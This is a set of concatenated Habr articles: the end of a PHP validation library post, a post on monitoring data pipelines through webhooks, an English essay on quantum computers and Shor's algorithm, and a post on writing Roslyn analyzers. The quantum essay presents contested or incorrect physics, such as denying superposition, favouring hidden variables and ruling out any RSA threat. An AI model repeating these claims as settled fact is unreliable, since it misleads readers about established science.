'attribute.not_blank' => 'The attr. is required.',
'attribute.length.min' => 'It must contain at lest 5 chars'
];
$valid = $container
->get('validator')
->make($data, $rules)
->validate();
$errors = $validator->getErrors();
```
Дамп ошибок будет выглядить следующим образом:
```
[
'attribute' => [
0 => 'The attr. is required.',
1 => 'It must contain at lest 5 chars'
]
]
```
Поэтому если вы хотите просто вывести все ошибки подряд, используйте метод валидатора **getErrorsList**. Он вернет плоский массив с сообщениями:
```
$errors = $validator->getErrorsList();
php foreach($errors as $error): ?* = $error; ?
php endforeach; ?
```
Для более сложного вывода ошибок можно использовать метод **getErrors**. Он возвращает сообщения, сгруппированные по названиям атрибутов:
```
php foreach ($errors as $attribute = $messages):
* **= $attribute; ?**
php foreach ($messages as $message): ?+ = $message; ?
php endforeach; ?
php endforeach; ?
```
Завершая сей рассказ
--------------------
Вот так вы можете использовать [Kontrolio](https://github.com/franzose/kontrolio), еще одну библиотеку валидации данных на PHP. Во время написания статьи я задумался о том, что простого пересказа документации будет недостаточно. Поэтому я планирую написать статью, где попытаюсь сравнить свою библиотеку с другими решениями.
Благодарю за прочтение! | https://habr.com/ru/post/306452/ | null | ru | null |
# Проблемы мониторинга дата-пайплайнов и как я их решал
Последние несколько лет я занимаюсь дата-инженерингом: строю пайплайны разного уровня сложности, добываю данные, нужные бизнесу, преобразую их и сохраняю, в общем, строю классические ETL.
В этом деле проблем можно ждать откуда угодно и на каждом шаге: источник данных прилег, данные пришли битые, источник без объявления войны поменял формат данных или доступ к ним, хранилище тупит, данных внезапно стало меньше или больше и много других приколюх.
Чтобы понять, как все это мониторить, давайте разберемся кто вообще работает с данными, которые мы с таким трудом намайнили:
**Бизнес** - это все те люди, которые не особо разбираются в инженерии, но принимают важные решения, основываясь на добытых нами данных: увеличить ли расходы на рекламу, как быстро увеличивать размер аудитории для раскатывания апдейта, как работают различные партрнеры и т.п.
**Технари** - это мы, инженеры, можем запустить руки в логи, доработать логику, следим, чтобы ничего не падало без острой необходимости.
**Код** - запускается следующий в цепочке пайплайн, происходят преобразования, рисуются графики и т.п.
Дата-пайплайны могут слегка отличаться от классического бэкенда - если упал какой-то из пайплайнов, это не значит, что все плохо и нужно бежать немедленно чинить, данные могут определенное время продолжать оставаться актуальными. Вы тут скажете, что бэкенд тоже может успешно падать частями, так-то оно так, но я в данном контексте рассматриваю бэкенд и дата-пайплайн как одну логическую сущность, а не набор дублирующих микросервисов и баз с репликациями.
Вот примеры:
* Пайплайн отрабатывает каждые 10 минут, а люди смотрят в отчеты, в среднем, раз в час. Падение одной из джоб не критично, да и если источник данных прилег, тут все равно ничего не поделаешь.
* Пайплайн стучится в источник с надеждой получить свежие данные, которые появляются в API источника с неопределенной задержкой (привет Apple), пайплан может успешно завершиться как скачав отчет, так и получив сообщение о том, что отчета еще нет. Тут, конечно, можно делать бесконечные ретраи внутри, либо просто ронять пайплайн, но тогда не особо очевидно будет, по какой причине он упал - что-то пошло не так, или данные в источнике еще не подтянулись.
* Пайплайн работает слишком долго - это может быть как разовой проблемой из-за тормозов в сети или в источнике, так и постоянной проблемой: что-то сломалось в трансформации, или ретраев стало больше чем нужно, в любом случае требуется вмешательство человека.
ETL как он естьИ тут вы скажете, но в том же Airflow есть замечательная система мониторинга, которая показывает и время работы джобы, и количество упавших или требующих перезапуска задач, и т.п. И я соглашусь, отчасти...
Чего не хватает во встроенных мониторингах систем работы с данными:
* Бизнес не может просто посмотреть в модный мониторинг типа того же Airflow или ELK и понять, можно или нельзя доверять данным, актуальность состояния данных непрозрачна.
* Единичные сбои, которые самоустраняются при каждом запуске, отвлекают инженеров, потому что следующий успешный запуск просто восстановит пробелы в данных, если пайплайн имеет правильную архитектуру. Нужно избегать фальшивых алертов, кстати, частично это можно сделать той же графаной.
* Нет возможности собрать реальную статистику и проанализировать, где самое слабое место. Просто считать инциденты не вариант, т.к. важнее не количество инцидентов, а время, в течение которого состояние данных было неактуальным. Знаю, что такие проблемы некоторые компании решают самописными парсерами логов или подсчетом пиков-просадок на графиках (напишите, как это реализовано у вас).
**Все это превращается в такие вот проблемы:**
1. Обычно мониторинг заточен на отслеживаение проблем в технической части, в то время как куда важнее обнаруживать проблемы в бизнес части.
2. Люди из бизнеса хотят более наглядного отображения состояния данных и системы, чем оно представлено в технических мониторингах.
3. Статистика, если и собирается, то собирается по техническим проблемам и нельзя понять, насколько эти технические проблемы повлияли на бизнес.
Концепция
---------
Чтобы решить некоторые из проблем, я написал простую систему мониторинга, прикинув, что идеально было бы получать от процессов события, а затем анализировать их количество, отправленное значение, продолжительность и разные временные интервалы между началом и концом событий. Этот мониторинг, после некоторого тестирования локально, я решил выкатить в паблик, назвав его Sensorpad.
Смотрите, сколько всего можно мерять, получая простые запросы в вебхук.*Почему вообще вебхуки?*
Ну тут все просто: никто не любит ставить на сервер дополнительный софт, никто не хочет выставлять метрики наружу и настраивать фаерволы, а слать http-запросы могут все. Секьюрити и приватность данных важны всем, а с вебхуками можно скрыть или анонимизировать за кодовым именем даже суть того, как называется ваш процессинг.
После того, как мы начали отсылать из процессов события, нужно их проанализировать и получить ответы на всякие важные вопросы, например (все числа абстрактны):
* запустилась ли наша задача 10 раз за последний день?
* не превышает ли количество падений (определяем падение, если полученное значение > 0, например) 15% от всех запусков за сегодня?
* нет ли процессов, которые длятся больше 20 минут?
* не прошло ли больше часа с момента последнего успешного завершения?
* стартовало ли событие по планировщику в нужное время?
тут у каждого свои параметры стабильности и после того, как мы проверим их все, останется только визуализировать их и отображать на дашборде, обновляя в режиме реального времени.
Реализация
----------
Я начал с дашборда, дизайн - не моя профессия, так что просто взял за основу дашборд, показывающий состояние крон-джобов на сайте Nomadlist, у меня получилось как-то так:
Дашборд состояния серверов Sensorpad средствами SensorpadКаждый монитор на этом дашборде - это комбинация метрик, которые должны быть понятны и бизнесу, и инженерам.
Для примера попробуем настроить мониторинг для чего-то, что понятно даже тем, кто не знаком с дата-инженерингом, например, мониторингом свободного места на диске. Допустим, нам надо показывать дашборд сразу и отделу поддержки, чтобы они знали, когда чистить старые логи, и отделу закупок, чтобы не надеялись на поддержку и сразу заказывали новые диски.
Для инженера тут все понятно:
* скрипт отрабатывает быстро (еще бы, простая крон-джоба);
* монитор вполне живой, 25 минут назад обновился;
* места еще с запасом (цифра 53 в левом нижнем углу - это последнее принятое значение);
Для людей из бизнеса тут тоже все просто:
* монитор зеленый;
* статус прописан в первой же строчке;
* никакой лишней информации;
Вместо размера диска, разумеется, может быть что угодно, начиная от импорта данных из гугл-аналитики, заканчивая мониторингом ревенью компании - суть не меняется.
**И насколько просто такое настроить?**
1. Создаем вебхук в самом сервисе, они там называются сенсорами, по аналогии со всякими штуками из физического мира.
2. Настраиваем крон-джобу на сервере, которая будет отсылать события со значением свободного места в процентах:
```
df -h |grep vda1 | awk '{ print $5 }'| sed 's/.$//' | xargs -I '{}' curl -G "https://sensorpad.link/<уникальный ID>?value={}" > /dev/null 2>&1
```
3. Присоединяем к этому вебхуку монитор, называем его: количество свободного места (но можно еще и другие, например, то, что события уходят по графику означает, что сервер не упал)
4. Настраиваем правила, по которым монитор меняет свой статус.
5. Присоединяем каналы для отправки уведомлений.
6. Добавляем монитор на один или несколько дашбордов.
**А можно поподробнее?**
Для вебхуков я пока что сделал самую простую имплементацию:
* базовый вебхук, который будет нужен для 80% проектов;
* cron-вебхук, который ожидает события в заданное через cron-синтаксис время;
* chain-вебхук, который умеет отслеживать события от процессов, соединенных в цепочки;
главное в нашем деле - не усложнять интерфейсыПосле создания попадаем на страницу сенсора, тут автоматически появляются полученные события (повозился в js) и кнопочкой можно отсылать тестовые события, для тех, у кого не установлен Curl или кому лень делать это из браузера:
Догфудинг в действииДальше создаем тот самый монитор - квадратик, меняющий статус и цвет.
Можно даже иконку выбратьЕсть две стратегии для статуса по умолчанию: сказать, что монитор должен быть в статусе "все хорошо", а потом правилами менять его на "что-то пошло не так", или можно сразу сделать ему статус "все плохо", а правилами проверять, что все действительно хорошо - обе стратегии имеют право на жизнь.
Теперь, собственно то, из-за чего я и написал эту балалайку: правила и гибкая логика.
К каждому монитору можно прицепить определенное количество правил, дальше движок мониторинга проверяет все правила раз в пару секунд. Правила проверяются поочередно, как только одно из правил вернет значение True, статус монитора изменится и остальные правила проверяться не будут. Если никакое из правил не сработало, статус монитора примет значение по умолчанию - то самое, которое задавалось при создании монитора.
Правила для мониторинга места на дискеНа скриншоте выше видно уже созданные правила, но я покажу как они создаются.
Например правило, которое можно сформулировать так: "установи статус Warning, если за последний день было больше 5 джоб, которые работали дольше 10 секунд".
А вот какие вообще можно выбирать проверки в каждом из пунктов:
И какие реальные кейсы можно покрыть этими правилами?
-----------------------------------------------------
У каждого свои кейсы. Дата-инженерия вообще весьма специфичное для каждой компании направление. Если у вас есть дата-пайплайны или cron jobs, сервис оповестит вас, если (все цифры, разумеется, конфигурируемы):
* Cron job, Airflow DAG или любой другой процесс не запустился по расписанию;
* 20% задач одного и того же пайплайна за день не отработали как надо;
* связанная задача в пайплайне не запустилась через 2 минуты после окончания родительской задачи;
* интервал между запусками двух задач меньше 1 минуты (похоже, у нас две конкурентные джобы);
* с момента последнего успешного завершения пайплайна прошло 2 часа (а данные должны считаться каждый час);
* время работы пайплайна уже целых 20 минут (а должен был отработать за 5, что-то подвисло).
Это те идеи, которые могли бы использоваться в практически любой, полагаю, компании.
А теперь - статистика!
----------------------
Красивые графики любят все. Крутость sensorpad в том, что он показывает в статистике реальные состояния систем, а не просто количество уведомлений (их, кстати, тоже показывает). А уже с этими данными можно разгуляться: и самому поковырять, чтобы понять во что вложить силы и что нужно оптимизировать, да и стейкхолдерам не грех показать идеально зеленый график.
Немного полезных и не очень графиковЯ подумываю допилить возможность шарить эти странички по секретной ссылке за пределы аккаунта, тогда такую страницу можно будет использовать не хуже любой status page.
Вот такой концепт. Чего не хватает?
---
Sensorpad - проект выходного дня, который делался в свободное от основной работы время, без тонны инвестиций да еще и в одно лицо, именно поэтому мне так важно мнение комьюнити: как вам? Что добавить, что улучшить, продолжать ли развивать?
Потыкайте его вживую, заодно зацените, какой я у мамы дизайнер лендингов: <https://sensorpad.io> | https://habr.com/ru/post/562520/ | null | ru | null |
# Quantum Computers Without Math and Philosophy
In this article, I will break down all the secrets of quantum computers piece by piece: what superposition (useless) and entanglement (interesting effect) are, whether they can replace classical computers (no) and whether they can crack RSA (no). At the same time, I will not mention the wave function and annoying [Bob and Alice](https://en.wikipedia.org/wiki/Alice_and_Bob) that you might have seen in other articles about quantum machines.
The first and most important thing to know is that quantum computers have nothing to do with conventional ones. Quantum computers are analog in nature, they have no binary operations. You have probably already heard about Qubits that they have a state of 0, 1 and 0-1 at the same time and with the help of this feature calculations are very fast: this is a delusion. A qubit is a [magnet](https://physics.stackexchange.com/questions/204090/understanding-the-bloch-sphere) (usually an atom or an electron) suspended in space, and it can rotate on all three axes. In fact, the rotations of a magnet in space are the operations of a quantum computer. Why can it speed up calculations? It was very difficult to find the answer, but the most patient readers will find it at the end of the article.
Superposition
-------------
Before talking about the magical state 0-1 (superposition), let's first understand how the position of the magnet in 3D generally becomes zero and one. When creating a quantum computer, it can be decided that if the North (N) pole of the magnet (blue in the pictures below) looks up then this value is zero, if down then one. When a quantum program is launched, all qubits are set to zero (up) with the help of an external magnetic field. After the completion of the quantum program (a set of rotations of the qubits) it is necessary to obtain the final value of the qubits (to measure them), but how to do this? Qubits are extremely small and unstable. They are negatively affected by thermal radiation (therefore they are greatly cooled) and cosmic rays. You can't just look at a qubit and tell where its N pole is now. The measurement is performed indirectly. For example, you can bring magnets with N pole to the qubit from below and from above.
If the N pole of the qubit was directed upwards, then the qubit would fly down, and just this fall can be registered. After that, the state of the qubit is measured (Zero) and it is no longer physically suitable for further use in the quantum program. This is just an illustrative example, in each quantum computer the measurement is performed by its own methods, it is very difficult to find a description of how exactly, but the essence remains the same.
Now the most interesting, remember that our magnet can rotate in any direction, let's put it on its side? This is where all quantum algorithms start.
Great, we have put the qubit into a state of superposition, the famous "0-1 at the same time". When you try to measure such a qubit, it will fly up or down with the probability of about 50% (depending on the accuracy of building a quantum computer). As you can see, the state of the qubit is known exactly, we just rotated it 90o. Statements that it is at zero and one at the same time (or rushing between them) look strange, because only one sensor will be triggered during a measurement. Rotating another 90o takes the qubit out of the magical state.
Another important point: if the qubit is rotated from the vertical position not by 90o, but only by a couple of degrees, then during the measurement it will fly to "Sensor 0" with a very high probability, and in rare cases to "Sensor 1". This has been proven by experiments, I also tested it myself (IBM gives free access), a single atom behaves more complicated than an ordinary magnet.
Any deviation from the vertical results in a probability of measuring one instead of zero. Accordingly, the initial initialization of qubits and all rotations of qubits must be done very accurately. It is also necessary to protect qubits from external influence very reliably, otherwise you will receive a calculation error. Modern quantum computers have extremely low accuracy, this is their big problem.
Now consider the very popular but misleading claim that superposition speeds up calculations. All quantum algorithms start by setting a group of qubits (register) into a superposition state (turning the magnets on their side). Starting from this moment, official science tells us that one qubit stores 0-1 at the same time, two qubits store 0-3 at the same time, eight qubits store 0-255, and so on. Any mathematical operation on this group of qubits will be performed immediately for all numbers stored by qubits.
Example: we have two groups of 32 qubits (two memory registers), we want to calculate the sum of numbers from these two registers. Performing addition once, we get absolutely all possible combinations of sums of numbers that can only be placed in these two registers. That is, about 18 quintillion addition operations were performed in one physical operation. It sounds very cool, but there is a catch.
After the completion of the quantum algorithm, we need to somehow pull out the result of the calculation. The problem is that a quantum computer won't give us all 18 quintillion results at once. After measurement, it will return only one of them, and that will be a random one. The measurement process destroys the qubits, which means that to get another result we will have to perform the operation again. To get all 18 quintillion results out of a quantum machine, you must run it at least 18 quintillion times.
What is with password cracking? Similarly, to convert the hash sum into a password you must run a quantum program very, very many times (as on a classical computer). Thus superposition (even if it is real) has no effect on the performance of the quantum machine by itself.
Entanglement
------------
Quantum entanglement is the second whale on which the quantum computer is based. This is a curious effect that modern science cannot yet explain. But we will go a long way. Let's look at a typical piece of source code for a classical computer:
```
if (n > 50) then n = 50
```
This line is difficult to execute on a quantum computer. After the operation (n>50), the qubits of the variable n will be immediately physically destroyed (because they had to be measured for the comparison operation), but we need this variable further in the code. Conditional jumps (and loops) are generally not available for quantum computers. How do they even survive then? One IF operation can still be performed, without taking a measurement: controlled NOT (CNOT), this is an analogue of the classical [XOR](https://en.wikipedia.org/wiki/Exclusive_or) operation. Two qubits participate in this operation, controlling and controlled:
* if the N pole of the controlling qubit is pointing down (value 1), then the controlled qubit rotates 180 degrees
* if the N pole of the controlling qubit is pointing up (value 0), then the controlled qubit does not change
This operation allows you to perform a trivial addition of integers for two qubit registers. To perform this operation, two qubits are briefly [brought closer to each other](https://physics.stackexchange.com/questions/173776/how-is-cnot-operation-realized-physically), after which a series of separate rotations is performed. Measurements are not required, i.e., you can work with qubits further. After this operation the qubits are entangled. How does it show up? Let's start with the commonplace:
After we have entangled the qubits, they become dependent on each other. If the Q1 qubit has been measured as One, then the Q2 qubit will be measured as Zero. But this case is obvious and not interesting, let's put the qubits on their side before CNOT:
If the controlling qubit lies on its side, then the controlled one will either be rotated 180 degrees with a 50% probability or remain in the same state. The exact final position of the qubits in 3D space after such an operation is not known (they are allegedly in many states at once), because qubits cannot be viewed directly. But if entangled qubits are measured, then Q1 will randomly fly to sensor 0 or 1, and Q2 will always fly to the opposite sensor.
Why this happens no one knows. Logically, both qubits lie on their sides after the CNOT operation, which means that both should randomly fly on both sensors, without any dependence. In fact, there is a clear connection during the measurement (with some error, the system is analog). There are two theories on this:
* Official science claims that qubits exchange information with each other (it is not known how, but instantly, more than the speed of light). When the first qubit is measured (hit on the sensor), it tells the second qubit exactly where it fell, and the second qubit remembers it and hits the opposite sensor during the measurement. This theory looks very strange, but here we must understand that official science adheres to the principle of superposition, that qubits are in the 0-1 state at the same time: when measuring the first qubit, the second can no longer remain in 0-1, it must urgently decide on the orientation.
* The theory of hidden variables: it says that when interacting, qubits immediately agree on who will fall on which sensor. This happens due to a change in the physical parameter of the qubit, which is not yet known to science. This theory looks more logical, superluminal interactions are no longer required here. But this theory denies the existence of the superposition principle, which is the Holy Grail for modern science, so this theory is not being seriously studied.
In my opinion, the phenomenon of Entanglement itself is the main proof that Superposition does not exist. But I am not a theoretical physicist, so let's leave this topic. In the end, once official science ridiculed the theory of the movement of lithospheric plates, but in the end the guys figured everything out.
A couple final points about entanglement:
* You can entangle many qubits, and this is a common thing for quantum computers. For this you need to run CNOT in turn for several qubits.
* After the CNOT operation, the controlling qubit also changes its orientation in 3D space. Its N pole does not move up and down, but the qubit itself rotates around the Z axis, this phenomenon is called [Phase Kickback](https://towardsdatascience.com/quantum-phase-kickback-bb83d976a448). It is of great importance for quantum algorithms, this is what gives acceleration of calculations. We will talk about this below.
* If, after entanglement, one of the qubits is transferred to the Zero state with the help of an external magnetic field (repeating the initial initialization), then this will not affect the second qubit in any way, the entanglement state will be broken. That is, the exchange of information at superluminal speed cannot be achieved using entanglement.
* Entangled particles are sometimes compared to socks: I put one on my right foot, the second automatically becomes the left sock. This is an incorrect comparison. Entangled particles are more like two coins standing on their side: if one of them falls on heads, then the second will fall on tails, even if several hours have passed.
What Quantum Computers Cannot Do
--------------------------------
Quantum computers are quite slow with a typical operating frequency of 100 MHz, but this is fixable. They are also quite small, 66 qubit machine is considered very good (you can store a couple of Int in memory), but this is also fixable. At the physical level, quantum computers do not (and may never) support:
* conditional jumps and loops (I mentioned this earlier);
* multiplication and division;
* raising to a power and trigonometry.
All interaction between qubits is limited by the CNOT operation. But if quantum computers are so limited, why is there so much hype around them? When solving the problem head-on, there will be no superiority over classical computers, but there is a very short list of algorithms where a quantum computer can show itself. Let me remind you that each quantum operation is the rotation of one or two qubits, and one short-term pulse is enough to perform it. On the other hand, to simulate the rotation of a magnet on a classical computer, you need to calculate a lot of sines and cosines. Approximately on this feature effective quantum algorithms are built.
Shor's Algorithm
----------------
Shor's algorithm has long been a scare on the Internet, as it can theoretically crack RSA quite quickly. The hacking task itself comes down to finding two prime numbers that make up the RSA public key, i.e., we need to find two divisors for a very large number (about 512 bits for RSA-512). A simple enumeration on a classical or quantum computer will take a very long time, and as we saw above, the superposition principle does not help here.
In fact, there are two Shor Algorithms, classical and with quantum addition, let's start with the first one. Mathematicians have determined that the problem of simple enumeration can be replaced by the following equation:
* **a** - the number 2 or 3 (in fact, any number, but 2 or 3 is exactly right, which one of them is impossible to say in advance);
* **N** - the number for which we are looking for divisors (conditionally this is the RSA public key);
* **mod** is an operation that returns the remainder of an integer division;
* **x** is an auxiliary number, having found it (by simple enumeration) we will quickly find the divisors of the number N. The desired x must be greater than zero, even and the minimum of all possible.
Mathematicians have determined that the number of steps to enumerate the number x will be significantly less than a simple enumeration of the numbers a and b using the formula a\*b=N. I checked how it works, ran the formulas in Excel and found the divisors for the number 15: it is enough to iterate over just two numbers x, ignoring 0 and all odd ones.
This effect should be more pronounced for larger numbers, but there is a catch. An experienced eye, of course, noticed the exponentiation operation, as well as the search for the remainder of the division. There may be fewer enumeration steps, but each step itself has become very complex, and their complexity will grow exponentially for large numbers N. Also, you are probably wondering, what does quantum computers have to do with it, if everything worked out in Excel?
Quantum Shor’s Algorithm
------------------------
Shor's quantum algorithm also starts by calculating the formula axmod(N), but there are a lot of problems here:
* raising to the power, multiplication and division (including integer division with remainder) are not supported at the hardware level;
* the number of qubits is very limited, it is problematic to keep the result ax in memory;
* loops are not supported, which means that iterating over the number x must be done without them.
The guys did not despair and came up with a set of workarounds. The number x at the input of the quantum program is given as qubits in superposition. The formula axmod(N) will supposedly be calculated immediately for all possible numbers x in one operation, but as we saw above, this is useless, because we can measure only one result of all, and it will be for random x.
Further, the formula axmod(N) itself is replaced by a very strange code (a simulation of a quantum computer is shown):
```
X = Register('X', 8)
F = Register('F', 4)
X.H()
F[3].X()
for i in range(8):
for j in range(2**i):
Fredkin(X[i], F[0], F[1])
Fredkin(X[i], F[1], F[2])
Fredkin(X[i], F[2], F[3])
```
* **Register** is a function that initializes the specified number of qubits (8 and 4), it returns the register of qubits with the value 0x0 (all N poles are directed upwards);
* method **H** is [Hadamard gate](https://www.quantum-inspire.com/kbase/hadamard/), puts qubits on their side (sets to superposition);
* method **X** rotates a qubit by 180o (like binary NOT);
* **Fredkin** function is standard for quantum computing, it swaps the values of two qubits if the first parameter (controlling) is set to one (N pole is directed downwards). The function consists of 8 CNOT operations and 9 single qubit rotations;
* register **X** stores the number x;
* register **F** stores the result of axmod(N)
The source code is available in my [repository](https://github.com/zashibis/FastQubit).
You are probably very surprised how this can even work? This is a workaround that allows to calculate the formula axmod(N) for a=2, N=15 and any x. There are several [methods](https://arxiv.org/abs/1207.0511) that allow to create a set of qubit rotations for any numbers **a** and **N**. I have no idea how it works, the documentation for quantum algorithms has low quality, but my own tests have confirmed that the calculations are correct.
Accordingly, if we want to crack some RSA-512 key, then first for this particular key we must create a scheme that will include a lot of rotations. But how many times should we run such the scheme? Did you notice the two nested loops in the source code above? For the number N=15, the circuit is launched 255 times, for N=21 - 511 times, for N=35, which is still unattainable by quantum computers, there will be 2047 launches. The number of operations increases dramatically.
Quantum Phase Estimation
------------------------
Congratulations to all the most patient readers, having gone a long way of misunderstanding, we got to the very essence of quantum computers. When we calculate the formula F= axmod(N) on a classical computer, we wait for the value F=1. But when we work on a quantum machine, it doesn’t really matter to us what is ultimately stored in the register F, the solution to the problem will be stored in the input register X.
In the classical computer XOR operator (CNOT analogue) does not change the value of the controlling variable. But let me remind you that when we perform CNOT operation in the quantum machine, it changes both qubits:
* the N pole of the controlled qubit moves up and down, depending on the state of the controlling one;
* the N pole of the controlling qubit does not move up and down, but the qubit itself rotates along the Z axis.
The deviation of the qubit along the Z axis is called the phase. During the execution of a quantum program, all qubits accumulate some phase change. Mathematicians have proven that by measuring the final phase of all qubits in the input register X, it is possible with a very high probability to find the divisors of the number N (to hack RSA), even if the result in the register F is not 1. RSA-512 requires only about 2000 runs of the algorithm on a quantum computer. But there is a catch. Even two.
The first problem is that one must somehow be able to measure the phase. For this, the QFE ([Quantum Phase Estimation](https://qiskit.org/textbook/ch-algorithms/quantum-phase-estimation.html)) algorithm is used, which requires additional rotations of qubits by very small angles. For N=15 you need to rotate the qubits by 1.4o, for N=35 the rotations will be 0.175o. For RSA-512 you need to rotate the qubit by insignificant 180/21022 degrees and doing this 1022 times. Qubits are an analog system, if you make a mistake with the angle then you will get an error at the output. Modern quantum computers cannot cope with the number N=35, they already lack the accuracy of rotations. But this is not the biggest problem, the most insignificant turns can be simply neglected, almost without losing the accuracy of the entire algorithm.
The second problem is the calculation of axmod(N). For RSA-512 it only needs to be calculated 2000 times. But look again at the two nested loops: one such calculation is more than 21022 consecutive rotations of qubits. This is nonsense. Quantum computers are not capable to hack RSA, even if they grow to a million qubits. There are scientific articles about how they managed to optimize this part and make it hundreds and thousands of times faster, but they always keep silent about exactly how many operations are required when N is about 2511.
Quantum Computer Simulators
---------------------------
Quantum computer simulators are much slower than their real counterparts. This happens because simulators do their job honestly. When you create a register of 8 qubits in the simulator, all possible values for these qubits are stored in memory (an array of 256 values is created). If you create two registers of 8 qubits each and perform the A+B operation, the simulator will calculate and store in memory all possible combinations of additions (it will create an array of 65536 values). This will be significantly longer than a single addition operation, but after that the simulator can return all these values to you without destroying the data on each "measurement". To get all the results on a real quantum computer, you will run it at least 65536 times (the result is returned randomly, there may be repetitions), and in general, it will take even longer than on the simulator.
But if qubits are just magnets in 3D space, is it possible to create a simulator that rotates them in virtual reality? I tried and created the [FastQubit](https://github.com/zashibis/FastQubit) library. Most of the operations work successfully (even [Bell states](https://en.wikipedia.org/wiki/Bell_state)), and such a simulator has a significant advantage over the real quantum computer:
* there can be millions of qubits and they are completely stable, no errors;
* qubits can be viewed at any time, the exact position in 3D can be determined, without destroying them.
But there is a catch. Phase Kickback doesn't work correctly in my library:
```
Q[0].H()
Q[1].X()
Q[0].P_pi(8)
Q[1].P_pi(8)
CNOT(Q[0], Q[1])
Q[1].P_pi(-8)
CNOT(Q[0], Q[1])
```
This chain of operations should eventually shift the Q[0] qubit phase by 45o, but in my case, the shift is performed by 90o. The fact is that the exact position of qubits in 3D after the first CNOT operation is not known to science (but he is known after the second CNOT). Here they usually mention superposition, that qubits are in many states at once. I used the documentation for quantum operations and made the turns exactly as they are described there. But no, in fact [no one knows](https://quantumcomputing.stackexchange.com/questions/26257/rxx-gate-as-a-set-of-rotations) what turns are performed.
If you get this short code to work correctly, you may be eligible for a Nobel Prize. But don't try to use a workaround: of course, you can turn the phase to the desired angle under certain conditions, but this will stop working when entanglement between several qubits is added to the quantum program.
Conclusion
----------
The documentation for quantum computers is as pretentious as possible, even elementary things turn into complex formulas. I have spent weeks trying to figure out what is really hidden in them. Articles in the news and blogs, on the contrary, are extremely superficial, philosophical, and very often contain false information. No one ever publishes the number of how many operations are required to hack RSA-512 (and it is not the most crypto-resistant). Instead, you will be shown several formulas for calculating the complexity of the algorithm, making it as incomprehensible as possible.
I am not calling for an immediate end to all funding for quantum computing research. This is fundamental research that can bring unexpected useful results in other areas. But it is necessary to stop publishing scary stories about the post-quantum era. | https://habr.com/ru/post/664810/ | null | en | null |
# Анализаторы Roslyn: повадки и места обитания
На днях объяснял одному товарищу что такое анализаторы Roslyn и как их писать. Ответ получился массивным, и я решил вынести его в отдельную публикацию.
Что такое анализаторы Roslyn? Если коротко — это отличный способ писать рефакторинги вроде Решарперовских. Постоянно встречаете одну и ту же ошибку в процессе ревью? Напишете анализатор с фиксером и забудьте про эту ошибку. Техническая сторона довольно проста, для первоначального знакомства отлично подойдут вот эта [статья](https://sergeyteplyakov.blogspot.lt/2015/10/simple-roslyn-based-analyzer.html), вот это [видео](https://www.youtube.com/watch?v=4W4KhZvrAaI&t=845s), вот эта серия [постов](https://joshvarty.wordpress.com/learn-roslyn-now/), и вот этот [туториал](https://habrahabr.ru/company/pvs-studio/blog/301204/). Я же попытаюсь описать ~~грабли~~ моменты, которые лично у меня вызывали затруднение.
Первое — это Syntax Vizualizer. Любой анализатор содержит парсинг синтаксического дерева. Типичная задача — есть узел и надо отыскать его предка с типом «Объявление класса», или «найти все узлы объявления методов в которых используются строковые литералы». Синтаксическое дерево может быть с десятком уровней вложенности, и для его анализа хотелось бы заиметь визуализацию. Два популярных инструмента: Syntax Vizualizer и LINQPad. Первый идет по дефолту, выдает тонну технической информации по каждому узлу, и значительно тормозит на моем компьютере. Плюс, когда я набираю код анализатора Syntax Vizualizer начинает визуализировать непосредственно печатаемый код, что сбивает с толку. LINQPad дает чуть меньше информации, но зато красивее и нагляднее, так что рекомендую.
Следующий момент — тесты. Без них никуда. По факту, есть два варинта тестирования. Первый: написать анализатор, открыть второй экземпляр студии, создать там проект с написанным анализатором, подключиться из первой студии к процессу второй (Attach Process), начать дебаг. Правильный вариант тестирования: открыть тестовый класс, написать код, который должен подсвечиваться анализатором, задебажить тест.
Также порекомендую Test First подход. Сначала пишем неверный код, имплементируем анализатор. Когда анализатор готов — пишем тест для фикса, думаем как перейти от первоначального состояния к пофикшеному, пишем фикс. Конкретно в случае анализаторов такой пошаговый подход отлично заходит.
Слышали когда-нибудь о защитном программировании? В анализаторах пихайте его во все возможные места, ибо отвалившийся по NRE анализатор может уже не заработать до перезагрузки студии.
Учитывайте, большую часть анализаторов губит ненужность. Когда я впервые услышал про анализаторы — мне захотелось написать свой. Идеи возникали постоянно, но реализация выходила слишком сложной\затратной. Первый боевой анализатор был написан только через полгода после знакомства с Roslyn. Следующий — еще через три месяца. Могу предположить, что при работе с мелкими проектами (2 человека в команде) технология не особо полезна — задачи\технологии типовые, все разумное уже покрыто R# или VS.
После перехода на новый проект (6 человек в команде) 3 подходящих места для анализа нашлись буквально сразу. Два были отклонены командой как ненужные. Мораль: советуйтесь с коллегами, они с удовольствием объяснят почему ~~вы идиот~~ анализатор не нужен и вам не придется тратить время на бесполезную работу. Кстати, коллеги оказались самыми профессиональными моими заказчиками — объясняется все четко, на пальцах, с примерами.
Менеджеры иногда требуют цифры: сколько мы потратим, что получим. Тут оценка довольно проста: разработка занимает 2 дня на анализатор «под ключ» (с тестами \интеграцией \инфраструктурой). Разработчики PVS-Studio упоминали что могут потратить 2 недели на один анализатор ~~не верьте им~~, но они свои анализаторы продают. Если вы пилите анализатор для внутреннего проекта (и уже доводилось писать анализаторы, хотя бы учебные) — 2 дней должно быть достаточно. Оценить профит сложнее. Тривиальный случай — регулярно всплывающая на Code Review ошибка: кто-то LINQ использует в ядре, кто-то дату сериализует без указания формата. Соответственно, профит считается как частота ошибки помноженную на цену фикса помноженную на год.
Встречаются случаи пооригинальнее. Например, есть сервис агрегирующий данные с десятка банков. У каждого банка свои правила сравнения\округления цен, для каждого банка написан свой класс Price, с кастом к decimal. Как только разработчик деплоит на прод сравнение типа
```
return localBankPrice == centralBankPrice;
```
менеджер достает из сейфа две баночки вазелина. Так вот, Roslyn — не самое плохое лекарство при аллергии на вазелин.
В принципе, анализаторы могут быть полезны еще в нескольких ситуациях. Тривиальная — продукт на продажу. Мороки с написанием больше, но и (возможный) профит погуще. Если интересно узнать про промышленную разработку — зовем [pavsenin](https://habrahabr.ru/users/pavsenin/) \ [Irina\_DevExpress](https://habrahabr.ru/users/irina_devexpress/) (DevExpress) и [Andrey2008](https://habrahabr.ru/users/andrey2008/) (PVS-Studio).
Чуть менее тривиальный случай — анализаторы поставляемые с собственной библиотекой, этакая защита от некорректного использования.
Есть еще товарищи вроде [eugenebb](https://habrahabr.ru/users/eugenebb/), [творящие](https://habrahabr.ru/company/jugru/blog/314524/#comment_9899470) [особую](https://habrahabr.ru/company/jugru/blog/314524/#comment_9901602) [плагинную](https://habrahabr.ru/company/jugru/blog/314524/#comment_9903212) [магию](https://habrahabr.ru/post/331328/#comment_10299682), но это совсем другая история.
